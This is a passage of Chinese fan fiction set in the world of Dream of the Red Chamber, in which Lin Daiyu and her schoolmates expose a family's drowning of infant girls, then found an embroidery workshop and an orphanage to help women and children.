衙役带走李大娘和李家众男子,板子打下,众人“啊”的痛呼出声,李大娘还叫喊着,“我没有错,丫头片子就不该浪费粮食,我没错,我没错,大家都这样说……”
为了让他们受到更多的惩罚,行刑的人特意没有下狠手,留着他们的要命,只是罪不会少。
后来,李家男人服徭役时一人惨死,三人残疾;李大娘在牢里干活时,被意外掉落的石头砸中脑袋,疯了。
秀娘被送往林家绣庄,学了一手好绣艺,过得还算完满;在秀娘的介绍下,她们村好多女子,包括李家的几个小媳妇都进了绣庄,有天赋的学习刺绣,没有的天赋帮忙洒扫、纺线等,都渐渐有了养活的能力,不再任婆家、娘家宰割。
慢慢地,溺婴之风大改。
卫若兰几人知道此次事情是林黛玉、楚楠、张阅几人牵头,很是佩服;他想不到如此柔弱的几个姑娘竟敢帮助妇人将夫家告上公堂。
经此一事,他们对女子的固有印象也慢慢发生变化。
卫若兰更是觉得,弱女子尚且如此,不惧人言、不惧一切,助人为乐;他一介男子,更该做些什么。
这边县衙事了,那厢才刚刚开始。
金銮殿上,皇帝高座明堂,刑部侍郎张衡出列,就早上接到的有关溺毙女婴折子上奏陈述。
大理寺卿、顺天府尹出列附议。
22. 第二十二夜
朝堂上,诸公争议商讨后定性,人丁兴旺则国家兴,人丁是国家建设、征战的基础,生育是女性的关键使命,关乎国朝未来,为此,必须杀杀民间溺毙的歪风邪气。
皇帝下朝后,宣刑部侍郎、大理寺卿、顺天府尹、六部尚书等到御书房开小朝会。
下朝后,吴县令的处理方案被递到刑部张侍郎、大理寺卿等手中;皇帝御书房小朝会讨论溺毙之风具体处理办法时,刑部张侍郎向皇帝进言,可参考吴县令的处理办法。
皇帝认可,经过与各位大臣的商议,派出多位钦差,奔赴大楚各地彻查女婴溺毙事宜,要求从严从重,不要闹出人命,并想办法改变根除溺毙之风。
县衙,人潮散去,只余黛玉等人。
黛玉看秀娘和李家几个小媳妇无所适从,想着都是女子,现在李家众人都被羁押,她们未来堪忧,便问她们要怎么办,嘱咐她们要互相商量、互相帮助,没什么坎是过不去的,要有需要也可以去林家绣庄上工。
李家小媳妇们知道溺婴本是民不举官不究的事,婆婆、相公们被关押都是因为她们要替秀娘做主,却一点也怨不起她们,只担忧未来生活;听了黛玉的嘱托,连连道谢。
待秀娘拿到和离书便让雪雁送秀娘和李家的几个小媳妇去林家绣庄;又嘱咐秀娘先休息,人还未招够,待养好身体再上工、学绣艺。
慎亲王妃杨苼、白涵、县令夫人安宁围一起寒暄,卫若竹、柳湘莲几人向白涵、安宁、杨苼问安后,柳湘莲几人便告辞离开;卫若兰想着妹妹也在张家读书,指不定妹妹也是其中一员,便留下来听听后续。
安宁看张阅、楚楠走过来,想着她们自家人都有话说,便告辞,留下地方给她们。
张阅、楚楠走过来,满脸惭愧,先向白涵道歉,道,“伯母/姨妈,对不起,我们不该先斩后奏。”
楚楠又看向母亲,“母妃,是我不好,我不该瞒着你。”
白涵、杨苼早先想着要好好教训她们一顿,又想着她们以后要做的事情,可能要面对的危险,十分心疼,只道,“以后可不许如此了。”
张阅、楚楠看伯母、母妃没有怪罪,顿时放松,齐声道,“以后不会了,这不是事出从权嘛?”
白涵、杨苼听了怒瞪过去,楚楠、张阅顿时收住。
两个哥哥也在一旁聊妹妹们太过大胆,看母亲轻轻放过,忙道,“这次可吓着我们了,以后遇到可要告诉哥哥,有哥哥帮你们解决。”
楚楠、张阅猜都知道他们会怎么解决,无外乎拿身份施压,隐晦地翻个白眼。
楚楠故意问道,“那哥哥打算怎么解决呀?”
楚楠果真了解兄长,楚彬道,“当然是亮出身份,让他们答应和离,以后再也不敢溺婴。”
张阅、楚楠听了冷哼一声。
这时黛玉送走秀娘等人,走了过来,向白涵、杨苼请安后问道,“世兄扬汤止沸,又怎么保证他们一定会听你们的?”又道,“还是釜底抽薪地好。”
张阐也道,“民不敢与官斗,你们要亮出身份,那大娘指定马上给秀娘和离书,那用得着上公堂?”
楚楠、张阅悲愤道,“那些被溺毙的女婴就该永远待在粪坑里吗?那些女婴就活该睁不开眼睛看世界吗?”
楚彬、张阐听了,反应过来,指着楚楠、张阅道,“你们故意闹大的。你们太大胆了,谁给你们的胆子?”
楚楠、张阅、林黛玉几人确实故意的,黛玉她们从知道秀娘被溺毙三个孩子开始,就知道这样的事情不是一例两例,更可能是常态!何况,她们那天在村里游览时,见到的女童不过四五,男童却有二三十,差距之大,细思恐极。
后来,也是她们特意叮嘱张管家不要暴漏身份。
她们问过张管事泰安县令的详细情况,黛玉想起父亲曾提起过吴县令的为人,才如此定计。
这一切,都不是巧合,是她们的精心推算。
好在,十分幸运,她们帮那些女婴争取到了正义;后续会如何发展,她们也一定会继续关注。
张阅、楚楠沉默。她们知道兄长是为了她们好,今日又为了她们奔波,不好回答。
林黛玉无所顾忌,镇定地回问,“世兄难道觉得不应该吗?难道害怕就不做了?有光明正大讨回公道的途径,为什么要选择仗势欺人?若你们这样想,那圣贤书不读也罢。”
楚彬、张阐哑口无言,只喃喃道,“唯女子与小人难养也。”
杨苼、白涵、卫若兰听了黛玉的质问,顿时鼓起掌来。
杨苼更是道,“好,与你父亲年轻时的几分疏狂,林大人后继有人。”
白涵也道,“是啊,生女如此,林大人一定很骄傲。”
黛玉也见过父亲的朋友,只是他们看他总是很遗憾,遗憾父亲没有后继之人;今日,听杨苼说她父亲后继有人,三份惊喜、七分感慨,连道:“姨妈过奖,侄女还差的远。”
白涵道,“不用谦虚,你杨姨从不虚言。”
黛玉听罢害羞低头。
杨苼、白涵又看向儿子,“我回去再好好教你。”
张阐、楚彬暗道不好,又不知为了什么,明明他们也是为了妹妹,这本不是妹妹该干的事。
卫若兰听了黛玉的提问,不觉震耳欲聋。原来,他们平日习以为常的事情并不是对的。
虽然他不曾仗势欺人,可难免仗着身份便利办些事情,不觉有些惭愧。
原来,女子并不一定是三从四德、贤淑优雅;林世妹振振有词的样子,郡主和张师妹悲愤发问的样子也很好。
从此,在卫若兰心里,女子的样子有了两种样子,他莫名的觉得第二种样子很好。
若他的妹妹与她们同行,他会支持她,也会很骄傲。
卫若兰的叫好,让林黛玉、张阅、楚楠知道,原来男子的看法也不都一样;杨苼、白涵则下定决心好好教育儿子,哪怕不帮女儿/侄女/学生,也不能给女儿添乱。
后面,卫若兰听了杨苼对黛玉的评价,更是想道,原是他们狭隘,原不该以男女来评价一个人是否优秀,女子也能继承父母衣钵!
看没人说话,卫若兰上前问道,“白姨,我可以去看看若竹吗?”
白涵考虑了一会儿,卫若兰等的颇有些心惊胆颤,才道,“行。见见也就放心了。”
说罢,楚彬、张阐去向县令道谢、告辞;张阅、楚楠、林黛玉则跟着白涵、杨苼去向安宁告辞。
安宁见了林黛玉、楚楠、张阅,拉着她们连道“好孩子”;又让丫鬟送上表礼,黛玉几人推辞,安宁道,“收着,也不是什么好东西,就当我对你们乐于助人的褒奖。”
又看杨苼、白涵点头,黛玉几人才谢过安宁,把礼盒收起来。
闲谈一会儿,杨苼几人告辞,安宁留饭。
杨苼推说家里还有事,安宁才送她们出门。
吴县令忙于公务,楚彬、张阐简单感谢几句,就告辞出来,在马车旁等着母亲、妹妹。
杨苼叮嘱女儿楚楠好好学习、注意休息后,便带着儿子楚彬回了慎亲王府。
白涵一行目送杨苼她们离开,才上马车,回张府。
一路上,黛玉、张阅、楚楠几人十分激动,这是她们的第一次胜利,她们也坚信她们一定会赢得一次又一次的胜利。
笑闹几句,黛玉几人不约而同地掀起车窗帘子,脸隐在帘子后面,看着路上人来人往,听着街上的叫卖声,都不禁羡慕起来。
黛玉喃喃道,“多好啊,多自由啊!我们什么时候才可以自由的走在街上。”
听了黛玉的感叹,楚楠、张阅的欢喜也淡下来。
她们从来被锁在深闺里,就算每每出门,也里三层外三层的被围着。
沉默了一会儿,楚楠坚定地道,“我相信,我们一定可以的。”
楚楠伸出两只手,黛玉、张阅搭上自己的手,三个姑娘手拉着手,小声又坚定地道;“加油!”
车停在张府门前。
一行人进入张府,正值午时三刻,姑娘们上午的课也已经结束了。
孔词提心吊胆了一早上,正带着姑娘们在大厅等着。
白涵看着孔词的样子,
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安抚道,“没事,是好事。”
孔词听了放下心,又虚点了点张阅,“我是管不了你了,等你父亲收拾你。”
张阅不禁担心起来,楚楠也是。
唯独黛玉因为林海天高皇帝远,没有感觉,只是她忘了,还有贾母等着她。
说完,孔词又想着她们一早也没吃饭,又张罗着她们用餐。
姑娘们和孔词、白涵一起去旁边膳厅,摆了两桌;卫若兰、张阐在张阐院子单置一桌,众人离开大厅。
卫若兰叫住妹妹卫若竹外面说话,张阐在远处等他。
卫若兰虽只比卫若竹大两岁,却是一个十成十的好哥哥。
今日秀娘的案子审判,哥哥和黛玉她们一起回来,卫若竹担心哥哥知道,莫名有些心虚。
卫若兰倒也没有责怪卫若竹,看妹妹长大了,想要抚摸妹妹的头发,最后却只放下手,拍了拍的肩膀,道,“别怕,想做就去做,哥哥帮你,哥哥会为你骄傲。”
卫若竹想着若是哥哥责怪她,她还能据理力争;听了哥哥的支持,提着几日的心终于落在实处,眼泪不由落了下来。
卫若兰看妹妹哭了,顿时苦笑不得,慌乱道,“别哭啊。”拿出手帕,给妹妹擦起泪。
看妹妹不哭了,卫若兰才细细叮嘱道,要好好学习,劳逸结合,注意安全,被逞强,有事找他……想起妹妹还未用膳,张阐还等着他,长辈指不定也等着,赶紧结束话题,让妹妹回去吃饭。
卫若兰奔向张阐,还向后看看妹妹,挥手示意妹妹赶紧去膳厅,妹妹离开才和张阐说笑着离开。
卫若竹进了膳厅,姐妹们正说着秀娘问题的解决过程;刚说到今日县衙大堂上的事情,卫若竹进去坐下,仔细听起来。
说完后,卫若竹前面没听上。众人又起哄让楚楠再说一遍,大家又听了一遍才过瘾,只恨没有在场。
用完饭后,孔词和白涵倒也没再说什么,只让她们赶紧回去休息;下午骑射课,又嘱托她们,适合骑射的服装已经给她们准备好了,放在她们寝室,让她们下午换上。
卫若兰用完膳后,和张阐闲聊一会儿,就告辞离开。
白涵听卫若兰离开后,就去了张阐的院子,教育儿子。
张阐仿佛心灵受了重击。
姑娘们知道下午骑射课后且喜且惊慌,黛玉、素心、张阅还算有点基础,其她的都没接触过。
一下午,教骑射的白先生倒也没有直奔主题,而是先带着几个姑娘学习八段锦、太极拳、五禽戏等锻炼身体的养身功夫,教她们热身,强身健体。
白先生也没有让她们半刻不停的练习,而是带着姑娘们练半个小时、搀扶着慢走半刻钟、歇半个小时……
就这样,一下午下来,姑娘们都只想原地等着,什么精力都没有。
张大人下午回来,看女儿累的狠了的样子,以为孔词乏了张阅,还劝了劝孔词,道女儿乐于助人是善举,以后别这么冲动就行。
张阅逃过一劫,慎亲王楚锋听了后连骂“逆女”,要立马带回楚楠,王妃杨苼、世子楚彬劝了又劝才劝住。
姑娘们都很累,晚上还是撑着给黛玉、张阅、楚楠转达了上午先生讲的课;又从白涵处知道了朝廷对溺婴案的处理,即使很累,也撑着讨论起朝廷的处理,后续她们能做些什么……
第二日,张氏女学的学生终于齐了。
日子很简单,早上给姑娘们安排都是诗词歌赋、文史典籍、算学等不费体力的“文课”;下午则都是骑射御、礼乐等费体力的“武课。”
姑娘们埋进书山学海中,五日时间一晃而过,到了姑娘们休沐回家的日子,都归心似箭。
下学向白涵、孔词告辞后,就和姐妹们结伴走出张府,奔向前来接她们的亲人们。
贾琏在国子监读书,来接黛玉、素心、贾琋的是贾蓉、贾蔷哥俩。
卫若兰来接卫若竹,看见黛玉几人,拱手见礼。
黛玉几人回礼,倒也没有寒暄。
来接楚楠的是哥哥楚彬,向楚楠说了父王的反应,楚楠顿时如临大敌。
23. 第二十三夜
贾母早已算好时间等着黛玉几人回来,宝玉、探春、湘云、宝钗连同熙凤都早早过来陪着贾母说笑,一是姐妹多日不见,十分想念;二是希望听到女学的第一手消息。
熙凤进来的时候,贾母嗔怪一声,“凤丫头,你这孩子,让你好好养着,偏不听?”
熙凤一笑,“这不是好些天没见老太太了,想您了。”
老太太一笑,虚指着熙凤,“你这丫头不老实,那里是想我这老太太,我看你是想你妹妹们了。”
宝玉她们笑成一团,熙凤笑道,“果然瞒不过老太太。孙媳这不是想着几位妹妹今儿个回来,老太太这可肯定热闹,就过来凑个热闹。”
几人说笑间,黛玉几人进来,向贾母、熙凤、兄弟姐妹们见礼。
贾母见了黛玉几个,眼泪瞬间掉下来,忙揽过黛玉几个,“好孩子,都瘦了,受苦了。”
又放开她们,让她们坐着,埋怨道,“你们老子都忒狠心,好好地孩子念几天书,都瘦成什么了。”
熙凤几人听了贾母的话,也难过起来,拿起手帕沾了沾眼睛。
宝玉听贾母这般说,马上跑到贾母跟前,“老太太,妹妹们读书受了大罪,我们不让妹妹去了。”
熙凤听了宝玉的话,“小孩子家家的,哪能乱说,读书那是说读就读,不读就不读的。”
黛玉几人听了宝玉的话,面色哗的变了。
黛玉想要开口,不过熙凤先说了,黛玉就止住了。
熙凤话落,黛玉便撒娇了,“外祖母,哪瘦了,这明明是您太想我们了。”
贾琋开心地接道,“我就我没胖,孙姐姐还整日说我胖了。还是老太太眼神好。”
听了贾琋的话,大家都有些懵。
素心解释道,“舅母每日让厨房换着给我们做饭,姐妹们都比琋琋大,看琋琋整天小大人似的,逗她呢。”
贾母听了笑了个开怀,搂过贾琋揉捏,“看来读书还是有好处的,我们琋琋都活泼起来了。”
贾琋害羞起来。
探春听了宝玉的话,有些担心,害怕老太太听了宝玉的话,反对姐妹们去读书;她去不了,总想着姐妹们能好的,只是人微言轻,不好多言,只好敛去神色,一边默默坐着。
湘云、宝钗倒无所谓,宝钗更觉得读书不是女子该做的,针篦女红才是女子的正事;但也没有她们说话的余地,只是看宝玉被晾起来了,湘云直接道,“爱哥哥说得对,不读书多自在的。”
贾母听了湘云的话,宠溺的笑着,“你呀,整天就知道玩。”
宝钗道,“宝兄弟也是为了妹妹们着想,读书原不该我们当个正事做。”
姐妹们听了,没有说话。
黛玉更是隐晦地翻了个白眼,我们是谁,是女子,读书难道还要分个男女。
素心、熙凤、贾琋、探春听了笑笑没说话。
贾母看了,想着不聋不哑不做家翁,搂过宝玉道,“我这玉儿啊,哪哪都好,还爱护妹妹们。”
姐妹们都笑着奉承,她们哪能不了解宝玉,只是听了宝玉的话应激害怕而已。
宝钗也不尴尬,跟着笑谈。
素心她们也知道,宝玉一片好心,加上他自己也不爱读书,觉得读书是个苦差事,对宝玉倒也没有意见。只是对宝玉好心办坏事,很是苦恼。
几人围着贾母一阵说笑,邢夫人、王夫人、宁府的尤夫人也过来了。
一家人和和乐乐的用了晚膳,姑娘们都转战黛玉院子,宝玉也歪缠的要一起去,王夫人看见说晚上了不方便,带着宝玉走了。
楚楠回了府里,就迎来了慎亲王楚锋的发难。
楚锋早早等在王府正厅,看楚楠进来,手里的茶杯就砸了过去,嘴里喊着,“孽女!”
楚楠心里一阵委屈,却也跪下,“女儿不知错在何处,还请父亲明示。”
楚柠看姐姐跪下,也吓得跪在姐姐旁边。
楚锋看楚楠跪的停止,一脸无畏,更生气了,又一个杯子砸了下去。
楚彬也跪下去,和楚柠一起为楚楠求情。
何侧妃生下来慎亲王楚锋唯一的庶子楚栋,看楚锋向郡主生气,想着嫡脉见罪王爷,她儿子就有你好处了,赶紧添油加醋道,“郡主,原我不该说话,可您也不能故作不知啊。快别强(jiang)着了,赶紧给王爷请个罪。”
王妃杨苼本想着王爷出个气,再给女儿求情,看何氏上眼药,赶紧“咳”了一声。
何氏听了王妃的声音,怕王爷不在,王妃寻不自在,赶紧住嘴。
杨苼道,“王爷快别气了,我也知道王爷是为了楠楠好。只是孩子觉得自己一片好心,为了帮人,这不是孩子没转过弯来,还小呢,我们以后慢慢教。”
杨苼说完,又向楚楠使颜色,楚楠看了,忙道,“父王,我以后再也不冲动了。”
楚锋脸色回转了些,道,“起来吧。只不过你一个郡主,拿着牌子给县令施压,请县令帮忙,这不是你该做的事。明日让你母妃带你去宫里请罪。”
说罢,楚锋就带着何氏、楚栋拂袖而去。
杨苼赶紧扶起楚楠,楚彬也扶着楚柠站起来,围着楚楠问,“没被打着吧。”
楚楠看着母妃、哥哥和妹妹担心的脸庞,一阵暖意升起,她们是她隐忍至今的理由,“没事,别担心。”
楚楠顿了顿,又道,“对不起,母妃。我不该惹事的。”
楚彬看着两个妹妹道,“妹妹,母妃都给我说了,哥哥为你骄傲。”楚彬两手按上两个妹妹的肩膀,“别怕,有哥哥在,你们想做什么做什么。”
母子几个一起用了膳,聊了些这几日都学了些什么,又说了些姐妹们相处的趣事。
用完膳,杨苼就让姐妹们回去了,叮嘱她们早起进宫拜见皇后。
其实,杨苼早就递了牌子进宫,就算王爷不说,也会带着女儿进宫拜见皇后。
陆沅在回家的马车上,兴奋地向父母分享她们学习的趣事;又说她现在学会了洑水,又学了骑射,以后出门娘亲再也不同担心出事了;又向父母保证她一定不会让他们失望的,要给他们争气。
陆尧、宋疏听了女儿的话,有些难过,难过女儿被风言风语影响;又有些高兴,承诺明日带陆沅去踏青。
一家三口兴高采烈地回了家。
杨梧后来也想明白了母亲知道她们想要做的事,并且默许了。晚上陪家人用过膳后,撒娇和母亲一起睡,李薇看着女儿难得娇态,半推半就的同意了。
晚上洗漱完毕,杨梧和母亲李薇并排躺在床上,又让守夜的丫鬟离开,才向母亲说起她们学了什么,说她们学洑水,去村子玩遇见秀娘,说秀娘的惨事,说她们姐妹一起讨论解决办法,说黛玉、楚楠她们为帮秀娘做的事……
李薇也听过溺毙女婴的案子,却没想到此时还很女儿有关,有些后怕,又有些骄傲,只叮嘱女儿以后要好好学习,没学好本事前别瞎掺和,小心好心办坏事,别冲动……
杨梧听了,虽不服气母亲说她瞎掺和,但也知道母亲为了她好,连连应是;又说起黛玉的绣庄,以后养秀娘肯定要钱,撒娇母亲给她支援点,让母亲把身边精通刺绣的李嬷嬷给她借借。
李薇卖了会关子,还是败在了女儿的撒娇下,一一答应,给杨梧支持了一千两银子,答应借李嬷嬷给她们帮忙;又给了杨梧一个书画铺子,让杨梧学着打理,以后用钱也方便,不过得自负盈亏。
……
各家有各家的不同,但具是一家团聚。
第二日一早,宝玉早早起来去向贾母请安,歪缠贾母同意他也休沐一天。
贾母想着孩子们读书累了,也就同意了。
贾母刚刚同意,黛玉几人就结伴前来请安,陪伴贾母用早膳。
楚楠、宋静早早打扮得当,楚楠和母亲出发前往皇宫;宋静也在兄长的护送下前往了皇宫,两行人在宫门口见到。
宋静和其兄宋诤向慎亲王妃杨苼见过礼后,宋诤便告辞离开。宋静与楚楠和杨苼结伴而行,宋静进宫是为了表妹昭华公主楚榕。
坤宁宫
皇后早早听了楚楠、黛玉、张阅几人的壮举,知道楚楠、宋静今日入宫,也已经早早等着。
杨苼、楚楠、宋静走了半个多时辰才到了坤宁宫,两个宫女在宫门口候着,看见她们来了,一个进去通报,一个迎上前来,“奴婢给慎亲王妃、霜华郡主、宋姑娘请安,娘娘已经候着了。”
皇后听了她们来的消息,一边让宫女去宣女儿楚榕过来,一边让宫女快迎杨苼她们进来。
皇后看见她们行礼,忙道,“免礼,快看座。”又笑道,“可算把你们盼来了,听我们楠楠做了好事,快给伯母说说?”
杨苼意料之中,楚楠、宋静听了皇后的话,提着的心“哐”的一声落到了实处。
楚楠、宋静凑趣一般把秀娘时间的始末说了一遍,又说了她们想要借着黛玉的绣庄招些绣娘,培养绣娘,帮她们挣钱,以后有利可图,女子的境遇也能好了。<
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p>楚楠中间穿插了她拿身份牌给吴县令时向皇后请了罪,皇后道,“为了帮人,何罪之有。不过你们要是拿身份欺压别人,我可是要治罪的。”
楚楠、宋静连道不敢。
楚楠最后又补充道,“等绣庄挣了钱,我们就能做更多的好事。”
宋皇后赞道,“好孩子,都是好孩子。你们绣庄叫什么,我给你们写个牌匾,省得有人到时候捣乱。”
楚楠、宋静赶紧起身谢恩,齐声道,“群芳绣庄。”
皇后道,“这名字好,怎么想的?”
楚楠道,“我们姐妹组了个诗会叫‘群芳会’,这个绣庄又是我们姐妹帮扶女子才办的,才叫‘群芳会’。”
皇后抚掌而笑,“妙。一语双关,群芳是你们诗会的姐妹,也是绣庄要帮助的姐妹们。”
楚楠、宋静看皇后一语猜中她们的心思,会心一笑。
皇后、杨苼看着她们,也相视一笑。
几人谈笑间,楚榕也到了。
姐妹几人互相见过,皇后又向楚榕说楚楠几人帮助秀娘的事情,让楚榕多学学她们。
楚榕撒娇,“好母后,姐姐们上学,十天才休息一天,我见她们一面更难了,可怎么学啊?”
皇后笑问楚榕,“鬼灵精,说说你大的什么主意。”
楚榕谄媚的笑着,绕道皇后背面,两手搭在皇后肩上,按摩起来,“我和姐姐们一起去上学怎么样?”
皇后听了顿时向后转,“不行。”又缓了缓道,“我做不了主。不过我可以给你出个主意。”
楚榕按摩的更起劲了,皇后受不了,才道,“去求你父皇。”
楚榕泄气,父皇肯定不会同意的。
“哼!”的一声,拉着楚楠、宋静就跑。
楚楠、宋静行礼才告退,追上楚榕。
皇后宠溺道,“给她宠坏了。你们去劝劝她,好好玩。”
孩子们去玩了,皇后和杨苼聊起有意办一个慈幼院,到时候有人家实在困难,可以把婴儿送过去,只是财政上困难。
杨苼道,“白姐姐那这批姑娘教出来,总有学生擅长经营,到时候绣庄经营起来,有了钱,指不定她们自己就张罗起来。这批孩子志向远大,有说‘为天下女子而读书’的;有要‘兴办女学’的;有要‘行商赚钱’的;有要‘重现墨家风采’的……”
皇后叹道,“青出于蓝胜于蓝,这辈子足矣。我们都老了啊。”站起来写了“群芳绣庄”几个字,用了印,要杨苼到时候做成匾,送给绣庄;又拿出两万两银子,赠给绣庄。
皇后感慨,“白妹妹教出的孩子总没错,希望我能看到这一天,希望这一天早一点,要有余力,我早做了。”又叮嘱道,“下次阿槿、阿桐进宫,我给她们说说,绣庄要有事,就让楠楠、阿静带着去找阿槿、阿桐做主。”
杨苼看皇后情绪有些低落,忙又和皇后说起女学的几个孩子,皇后道有机会可要宣进宫见见。
要不是还有太上皇、太后的掣肘,皇上、皇后还不能随心所欲的行事,不然准立马宣姑娘们进宫。
楚楠、宋静劝了又劝,楚榕还是不服,凭什么皇兄们可以可以出宫建府,可以随意进出宫;她和姐姐们却不能,只能嫁人,嫁人后回宫却还要递牌子。
她不想这样。
楚榕的不忿给了楚楠一个新思路,不过,她得先好好想想,再和黛玉、若竹她们商量商量。
李思和姐妹们完了一会儿,便回院子拿着《墨子》细细研读;看完书,又想着刺绣太慢了,画下现有的刺绣的工具,琢磨着做个工具,提高刺绣速度;遇到不会问题攒着,待祖父回家请教祖父。
宝玉的歪缠本让黛玉不太开心,没想到黛玉几人聊起办绣庄帮助女子时,姐妹们纷纷献计,宝玉更是慷慨的拿出自己调的胭脂,道黛玉她们想用随意用。
黛玉行礼道,“谢谢二表哥,到时候我们给你分红。”
宝玉推辞,黛玉坚持,只得从了。
宝玉又道,“女子都是水做的骨肉,我这泥做的骨肉能帮到她们才清爽。”
宝玉的话让姐妹们笑成一团,看着姐妹们笑他,又没办法,自己只得到了。
黛玉调笑,“那二表哥可要多做点,多帮帮我们,才能更清爽点。”
宝玉道,“一定。”
姐妹们看宝玉这呆瓜没有听出黛玉调笑,哄笑成一团。
好容易休息一天,姑娘们看看闲书,倒腾倒腾私房钱,歪缠歪缠家人,画画绣图……
24. 第二十四夜
待杨苼一行人出宫,皇后又考虑了一下,也不能全凭姑娘们,慈幼院在全国各地铺开有难度,就先在京城开,慢慢铺开。
待夜里皇帝来坤宁宫,皇后便把慈幼院的事给皇帝说了;又说楚楠她们去女学了,楚榕也闹着想去,不如,让楚榕出去历练历练。
皇帝想着早先当王爷那会儿,常带着几个女儿去踏青,如今两个大女儿嫁人了,就剩小女儿了。
宫里又只有她一个女孩,哪怕和皇上有些龌龊的太上皇都十分宠她。
可平日只有几个伴读伴着,近些日子,也都陆续出宫嫁人了,楚榕到底寂寞。
皇帝正打算给女儿选一批伴读,听了皇后的建议,想来得重新打算。
皇帝舍不得女儿,思虑半晌还是道,“榕榕的公主府早就建好了,选个日子让榕榕搬进去,方便她在外面办事,也方便她们姐妹聚聚。”
皇后又提起该给楚榕选驸马了,皇帝连道,“可该好好选选,我们好多留榕榕几年,也就榕榕陪着你了。”
皇后感动,眼角沾湿,连连附和,“是呢,想着榕榕要离开我们,就难过。不过,楠楠这次做的好,没有拿身份压着那家人和离,而是想着报县衙,不然溺婴这事还不知道什么时候显出来呢。”
皇帝赞许道,“是啊,都知道有这么这么个事,但谁知道这么恶劣,还是天子脚下。”说着,皇帝有些愤怒。缓了缓才道,“这次和楠楠一起的几个姑娘都不错,敢为人先,朕给她们记一功。不然,危矣。”
皇后也明白,又说了张家女学的姑娘办了绣庄的事情,皇帝龙颜大悦,道,“到时候让榕榕多和她们接触,良朋好友,受益终生。”顿顿又说,“榕榕早早出去历练,立起来,以后孩子也不受罪。”
皇帝想起大女儿和二女儿婚后受的委屈,一阵难受,可又不能真把那家人怎么了,毕竟女儿还要过日子。
皇后也是这个想法,不然还真舍不得女儿早早出宫去。
帝后二人闲谈几句,早早安寝。
第二日,皇后找来女儿细细叮嘱,又安排人收拾公主府。
楚榕十分开心,不过也舍不得离开父母,好一阵歪缠。
不过待楚榕出宫,已经过了一个月。
过了休沐日,女孩们又坐上了前往张家的马车,来来去去,半年就过去了,一切有条不紊的进行。
有了皇后的赐银、姑娘们送来的嬷嬷和银子,银钱宽裕,黛玉、楚楠想着秀娘她们都家里远,来回不方便,绣庄地方又不大,便商量着买个院子,专门用来培养绣娘,也方便以后多招些绣娘。
黛玉吩咐林管家去办,管家给出了个注意。
绣庄到底是做生意的地方,在闹市,不适合学刺绣,他找牙行问问京郊有没有地,找个合适的地方自己建房子,地方宽敞还省钱。
没建好前,林家后街的下人房大多空着,可以先收拾几间让绣娘们用着,刺绣教学和住宿都方便,也方便姑娘们来看看情况。
黛玉听了去找楚楠她们商量,全票通过。
姑娘们感叹,“姜还是老的辣,看来她们还有的学。”
楚楠想起曾经的学校、住宅楼,又结合现在常见的楼房,提议建楼房,还画了简易图纸,到时候一楼学习,二三楼住宿,方便还省地方,获得姐妹们的一致好评。
秀娘和绣庄管事找来的绣娘们便先搬去了林家后街,由绣庄原来的绣娘,还有杨家、林家、陆家、孙家送来的嬷嬷们教导。
姑娘们每逢休沐,还两两结伴前去教绣娘们读书识字,方便绣娘跟着画师学画,想要帮助绣娘们觉醒,不再百忍成钢,要让她们学会不平则鸣……只是,一切要徐徐图之。
楚榕出宫本想着先和姐妹们聚聚,结果都在上学;要么婚后不方便受掣肘,不好经常出门,只好先解决慈幼院的事情。
虽然有女官们帮衬,楚榕开始不过跟着学习,只是担个名头罢了;但后来也不甘心只做个吉祥物,积极参与筹办慈幼院的相关事宜。
楚榕拜访慎亲王妃的时候,听她说起绣庄的事情,知道楚楠她们专门在郊外盖楼培养绣娘,想着慈幼院不如也自己建,花钱少,还地方宽敞;没建好前,收养的女婴可以养在公主府,左右她也只一个人。
待楚楠休沐,楚榕特地设宴要楚楠聚聚,详细问了绣庄自建的情况,又要了楚楠的图纸,两人想着慈幼院的需求更多些,要有教室教孩子们识字,要有食堂、有盥洗室、有卧室……根据需求,改了改才定了稿。
选址的时候,楚榕考虑慈幼院和绣庄都是女子多些,好互相帮衬;女孩们长大后还可以去隔壁绣庄学刺绣,找个营生;哪怕不能留在绣庄,也是个谋生的手艺。
恰巧绣庄旁边还有一大块空地,楚榕就都买下了。只是想着以后肯定要收容很多孩子,慈幼院建的更大些,有三个绣庄大小。
楚榕忙完绣庄统筹工作,剩下的事情都有下人们做,她暂时就闲下来了,就去找姐姐嫂嫂们玩,只是她们也忙着,不能一直陪着她。
楚榕便思念起宋静、陆沅、楚楠她们,结果她们忙着上学,十天才有一日假期,这一日还不一定有时间。
楚榕也上过学,却不喜欢上学,便想着去看看女学有什么魅力,结果她也扎进去出不来了。
不过,楚榕不住宿,晚上回来处理慈幼院的事情,倒也获益不浅。
早说好的两三日回一趟宫,后来实现不了,只能十日回一趟宫里。帝后不满,可看着幼女难得的好学之心,没有阻止。
临近新年,腊月初女学放假。
绣庄早建好了,绣娘们也早已搬过去,在秀娘她们的努力下,已经找了一百多名绣娘。
绣娘虽然都还未出师,挣不了大钱,但绣些小帕子没问题,又因为姑娘们的花样好,价格便宜,很受欢迎。
绣庄尚未盈利,又打算以后挣钱做更多的事,给绣娘们的月钱不算多,没出师前一个月两百文,管吃住;出师后根据绣品卖出去的钱分成,扣除材料费,给绣娘们分三成。
姑娘们觉得不多,她们还要生活,只是暂时没办法,只能以后再想办法。
绣娘们想着以前学艺还要给师傅前,姑娘们给她们钱教手艺、教读书,还给月钱,连连推辞。
姑娘们坚持才同意,只是打定主意要好好学习,为绣庄多挣钱,不让姑娘们失望。
后来到了郊外,姑娘们倒没怎么去。
皇后赐的匾后来做了两块,一块挂在群芳绣庄的铺子外面,一块挂在郊外绣庄的院子外。
再后来,慈幼院也搬过去了。
这几个月慈幼院也不光收养了弃婴,还把十岁以下的乞儿也收养了;十岁以上的没有余力,只能让他们独自谋生。
慈幼院的管事都是宫里年龄到了的女官和嬷嬷,都通晓诗书,得了楚榕的吩咐,平日孩子们识字;十岁以上的乞儿愿意学的,也欢迎他们有时间来慈幼院识字,去上工业不至于被骗。
只是人多,慈幼院的管事和女工们难免忙不过。
隔壁的绣娘们好不容易有了识字的机会,郊外姑娘们不方便过来,刺绣本就废眼睛,不好休息了还麻烦师傅们。
幸运地是,隔壁的管事在教孩子们读书,便想着一定要抓住这个机会。
早上、中午、晚上慈幼院忙乱的时候,绣娘们便主动去隔壁慈幼院帮忙,教小女孩们缝缝补补。
绣娘们和慈幼院管事熟悉后,找机会就求管事们有时间教她们识字。
管事们也都是苦命人,早先都被辜负伤害过,看绣娘们身处逆境不忘求学,又帮她们减轻了负担,便欣然应允。
